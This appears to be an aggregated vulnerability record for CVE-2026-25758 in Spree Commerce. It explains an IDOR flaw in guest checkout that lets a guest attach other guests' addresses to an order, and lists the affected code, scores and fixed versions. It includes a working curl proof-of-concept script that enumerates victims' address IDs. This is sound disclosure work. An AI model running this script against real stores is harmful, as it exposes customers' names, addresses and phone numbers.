7.7high
Spree allows unauthenticated users can access all guest addresses
- Severity
- 7.7high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.67% (higher than 53% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-87fh-rc96-6fr6
Description
Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| spree spree | < 4.10.3, >= 5.0.0, < 5.0.8, >= 5.1.0.beta, < 5.1.10, >= 5.2.0.rc1, < 5.2.7, >= 5.3.0.rc2, < 5.3.2 | CVE List |
| spree_api (RubyGems) | before 4.10.3, from 5.0.0 before 5.0.8, from 5.1.0 before 5.1.10, from 5.2.0 before 5.2.7, from 5.3.0 before 5.3.2 | GitHub Advisory Database |
| spreecommerce spree | before 4.10.3, from 5.0.0 before 5.0.8, from 5.1.0 before 5.1.10, from 5.2.0 before 5.2.7, from 5.3.0 before 5.3.2 | NVD |
All scores
| GitHub_M | 7.7high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Classification
What each source says
CVE List
Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2.
GitHub Advisory Database
Summary
A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.
Impact
This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).
Unauthenticated users can access all guest addresses (GHSL-2026-027)
The vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (bill_address_attributes[id] and ship_address_attributes[id]) are properly validated through validate_address_ownership, plain ID parameters (bill_address_id and ship_address_id) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.
Affected Code Components
-
Permitted Attributes (
core/lib/spree/permitted_attributes.rb:92–96)- Allows
bill_address_idandship_address_idas permitted parameters without validation
- Allows
-
Checkout Update (
core/app/models/spree/order/checkout.rb:241–254)- Applies permitted parameters directly to the Order model via
update_from_params
- Applies permitted parameters directly to the Order model via
-
Incomplete Ownership Validation (
core/app/services/spree/checkout/update.rb:33–48)validate_address_ownershiponly validates nested attributes structure- Does NOT validate plain
bill_address_id/ship_address_idfields
-
Vulnerable Assignment Logic (
core/app/models/spree/order/address_book.rb:16–23, 31–38)
Both setters check that: address.user_id == order.user_id. For guest orders: nil == nil → TRUE ✓ (bypass!)
Proof of Concept
Precondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the spree_addresses table. E.g. 3)
As a guest user:
- Put one product in the cart and go to checkout.
- Fill in some address/phone number and continue.
- Modify this script containing a curl request with current values.
#!/bin/bash
ATTACKER_ORDER_TOKEN="" # Taken from the URL
VICTIM_ADDRESS_ID="3" # As noted from the database
CSRF_TOKEN="" # From page source; `content` value from meta param `csrf-token`.
SESSION_COOKIE="token=...; _my_store_session=..." # from the browsers cookie store.
curl -i -X POST \
-H "x-csrf-token: ${CSRF_TOKEN}" \
-H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" \
-b "${SESSION_COOKIE}" \
--data-urlencode "_method=patch" \
--data-urlencode "authenticity_token=${CSRF_TOKEN}" \
--data-urlencode "order[ship_address_id]=${VICTIM_ADDRESS_ID}" \
"http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address"
Expected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display.
This can be verified by accessing /checkout/${ATTACKER_ORDER_TOKEN}/delivery in the same browser where you created the new guest cart.
Impact
This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).
CWEs
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-284: Improper Access Control
Credit
This issue was discovered with the GitHub Security Lab Taskflow Agent and manually verified by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
NVD (es)
Spree es una solución de comercio electrónico de código abierto construida con Ruby on Rails. Existe una vulnerabilidad IDOR crítica en el flujo de pago como invitado de Spree Commerce que permite a cualquier usuario invitado vincular direcciones de invitado arbitrarias a su pedido manipulando los parámetros de ID de dirección. Esto permite el acceso no autorizado a la información de identificación personal (PII) de otros invitados, incluyendo nombres, direcciones y números de teléfono. La vulnerabilidad elude las comprobaciones de validación de propiedad existentes y afecta a todas las transacciones de pago como invitado. Esta vulnerabilidad está corregida en 4.10.3, 5.0.8, 5.1.10, 5.2.7 y 5.3.2.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-25758 changed 2026-02-09 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-87fh-rc96-6fr6 changed 2026-02-22 | CC-BY-4.0 |
| NVD | CVE-2026-25758 changed 2026-06-17 | Public domain |